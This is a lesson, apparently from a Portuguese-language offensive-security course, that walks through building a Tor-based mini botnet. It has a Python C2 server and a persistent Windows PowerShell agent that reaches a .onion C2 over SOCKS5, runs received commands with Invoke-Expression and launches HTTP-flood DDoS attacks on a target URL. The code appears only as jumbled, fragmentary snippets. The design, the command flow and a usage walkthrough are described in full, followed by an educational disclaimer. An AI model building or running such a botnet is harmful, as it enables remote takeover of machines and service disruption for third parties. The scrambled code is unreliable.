Nesta aula, segui a evolução natural do projeto iniciado nas aulas anteriores, especialmente a partir da Aula 130, onde criamos um executável modular e persistente capaz de operar discretamente em sistemas Windows. Agora, nosso foco é transformar esse agente em parte de uma mini botnet controlada remotamente, demonstrando um cenário realista de coordenação entre múltiplas máquinas infectadas, utilizando a rede Tor para garantir anonimato e segurança de comunicação.
O ambiente construído para a aula consiste em quatro máquinas virtuais:
Uma máquina com Kali Linux, que atua como o servidor C2 (comando e controle).
Três máquinas com Windows 10, cada uma rodando o agente winlogsync.exe
.
Todas essas máquinas estão configuradas para operar através da rede Tor, garantindo que os agentes consigam se comunicar com o C2 sem expor seus endereços IP públicos, e vice-versa. Essa camada de anonimato é essencial em operações reais de botnets.
O agente, instalado nas máquinas Windows, é uma versão aprimorada do que foi construído na aula anterior. Sua funcionalidade agora vai além da persistência e execução silenciosa: ele é capaz de consultar um servidor remoto em busca de comandos a serem executados. Esse comportamento transforma o agente em um cliente ativo de um servidor de controle, permitindo que ele execute ações coordenadas.
O servidor C2, por sua vez, é responsável por enviar comandos para os agentes. Ele é implementado de forma simples, utilizando Python, e se comporta como um ponto central de comando que os agentes acessam periodicamente. Essa arquitetura de "pull", onde os agentes fazem a requisição, é ideal para se manter discreta, evitando conexões suspeitas de entrada.
Para ilustrar a capacidade ofensiva desse sistema, modifiquei o comportamento dos agentes para que possam receber e executar um comando de ataque DDoS do tipo HTTP Flood. Ao enviar um comando contendo um endereço de destino, o servidor C2 instrui os agentes conectados a iniciar um volume massivo de requisições HTTP contra o alvo. Em um ambiente real, com agentes distribuídos em diferentes redes e provedores, isso poderia causar uma interrupção significativa de serviço. Essa simulação de ataque distribuído permite compreender a mecânica de botnets, sua escalabilidade e como a descentralização e o uso de anonimato via Tor complicam a mitigação e o rastreio da origem.
import socket PORTA_C2 = 4444
print(f"[+] Conexão recebida de {nome}") while executando: finally:
with lock: print(f"\nTerminal dedicado com {bot['nome']}.") try:
threading.Thread(target=painel_dinamico, daemon=True).start() while executando:
if __name__ == "__main__": |
Parte | Função |
---|---|
iniciar_servidor() |
Inicia o servidor C2 e aceita conexões |
tratar_bot() |
Trata cada bot individualmente, registra, exibe e responde |
painel_dinamico() |
Exibe painel com bots conectados e status |
terminal_comando() |
Interface interativa para o operador selecionar bots e enviar comandos |
terminal_independente() |
Terminal dedicado para um bot específico |
modo_interacao (flag) |
Pausa o painel dinâmico enquanto interage com bot |
✅ Suporte a múltiplos bots
✅ Permite envio de comandos PowerShell ou comandos especiais
✅ Funciona em modelo "pull" — os bots se conectam ao C2 (sem escuta no cliente)
function Start-Bot { Start-Sleep -Seconds 5 $client = New-Object System.Net.Sockets.TcpClient $stream.Write([byte[]](0x05, 0x01, 0x00), 0, 3) $hostBytes = [System.Text.Encoding]::ASCII.GetBytes($onionHost) $writer = New-Object System.IO.StreamWriter($stream) $global:stopFlood = $false function Iniciar-Ataque($url) { function Parar-Ataque { while ($true) { if ($command.StartsWith("http ")) { $writer.Close() while ($true) { |
Encapsulamento da lógica em Start-Bot
Loop infinito com reconexão automática (bot sempre tentando voltar ao C2)
Conexão via proxy Tor SOCKS5
Execução de comandos PowerShell
Inclusão de:
Iniciar-Ataque | Parar-Ataque |
Comando http <url> inicia ataque DDoS (HTTP flood) |
Interrompe o flood em tempo real |
Comando recebido via rede é processado em tempo real
Se for http <url>
, dispara múltiplas requisições usando Invoke-WebRequest
em loop paralelo (job)
Se for parar ataque
, finaliza job do flood
Se for outro comando, executa no PowerShell com Invoke-Expression
Saída é enviada de volta ao C2
C2 inicia e escuta conexões
Bots conectam via .onion
pelo Tor
Operador do C2 vê os bots com tempo online e status
Seleciona o bot e envia:
http https://alvo.com
→ ataque começa
parar ataque
→ ataque para
Get-Process
→ resposta é devolvida
O loop no PowerShell garante que o bot tente reconectar mesmo após queda
Nesta aula, construímos um laboratório realista de segurança ofensiva que simula o funcionamento de uma botnet controlada remotamente por meio da rede Tor. Utilizando máquinas virtuais, desenvolvemos e implantamos um agente persistente que se comunica com um servidor C2 (Comando e Controle) de forma anônima, recebendo comandos remotos e realizando tarefas coordenadas — como ataques HTTP Flood — em um ambiente de teste controlado. Este tipo de laboratório permite compreender com profundidade os mecanismos reais utilizados por grupos maliciosos, e, ao mesmo tempo, fornece conhecimento prático valioso para profissionais de segurança, pesquisadores, e pentesters éticos.
Todo o conteúdo apresentado nesta aula tem finalidade exclusivamente educacional. O ambiente foi criado em um laboratório isolado e seguro, sem afetar redes, sistemas ou terceiros. A prática de técnicas ofensivas sem autorização explícita é ilegal e antiética.
Este curso tem como objetivo capacitar profissionais a entender e defender sistemas reais, reconhecendo táticas de adversários e desenvolvendo a capacidade de mitigar ameaças avançadas. A ética deve ser sempre o pilar central da atuação em segurança da informação.